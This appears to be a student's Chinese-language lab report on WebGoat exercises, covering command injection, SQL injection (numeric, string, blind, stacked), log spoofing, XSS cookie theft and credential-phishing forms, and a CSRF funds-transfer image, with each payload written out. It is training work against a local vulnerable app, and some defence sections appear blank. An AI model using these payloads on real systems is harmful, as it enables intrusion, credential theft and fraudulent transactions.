目的: 理解常用网络攻击技术的基本原理
内容:
1、SQL注入攻击
2、XSS攻击
3、CSRF攻击
SQL注入攻击原理,如何防御:
‘,--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。XSS攻击的原理,如何防御:
CSRF攻击原理,如何防御:
<img>等标签或者使用Javascript脚本。WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。其运行在带有java虚拟机的平台之上,并提供了一系列web安全学习的教程,来指导用户利用这些漏洞进行攻击。

java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端http://localhost:8080/WebGoat(在界面里我们可以看到给出了两组用户名和密码,可以直接使用登陆)

目标:能够在目标主机上执行任何系统命令
Injection Flaws-Command Injectioninspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
view,可查看到命令执行结果
目标:显示天气情况
Injection Flaws-Numeric SQL Injectioninspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1
Go,可以看到攻击成功
目标:使用户名为admin的用户在日志中显示成功登录
Injection Flaws-Log SpoofingUser Name中填入webgoat%0d%0aLogin Succeeded for username: admin,利用回车0D%和换行符%0A让其在日志中两行显示Login,可以看到webgoat在Login Fail那行显示,我们自己添加的语句在下一行显示
admin <script>alert(document.cookie)</script>,管理员可以看到弹窗的cookie信息目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
Injection Flaws-String SQL InjectionSmith‘ or 1=1--‘提前闭合"",插入永真式1=1,且--注释掉后面的内容,这样就能select表里面的所有数据
使用SQL注入绕过认证。
‘ or 1=1 --,登录失败,会发现密码只有一部分输入,说明密码长度有限制。
inspect Element审查网页元素对长度进行修改
‘ or 1=1 --,登录成功
数据库通常作为一个Web应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如insert,select,update or delete。
攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email 地址设置为攻击者的地址。
101,得到该用户的信息
101; update employee set salary=10000(这里执行了两个语句,中间需要用分号分隔)

某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
SELECT * FROM user_data WHERE userid=accountNumber;101 AND 1=1
101 AND 1=2`
第一个语句中,两个条件都成立,所以页面返回Account number is valid;而第二条则返回帐号无效
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) = 2364 );2364并提交
在XSS的帮助下,我们可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。目标是创建一个form,要求填写用户名和密码。
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
XSS-Phishing with XSS搜索上面代码,可以看到页面中增加了一个表单
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

CSRF通过伪装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。
XSS-Cross Site Request Forgery(CSRF)Parameters中的src和menu值,我的分别为309和900Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
此次的实验内容较多,难度稍大,但在认真完成后才发现其实也不是太难,很多都在之前的实验或多或少接触过,总体而言,获益匪浅。
2018-2019-2 20165328《网络对抗技术》Exp9 Web安全基础
原文:https://www.cnblogs.com/dky20165328/p/10925798.html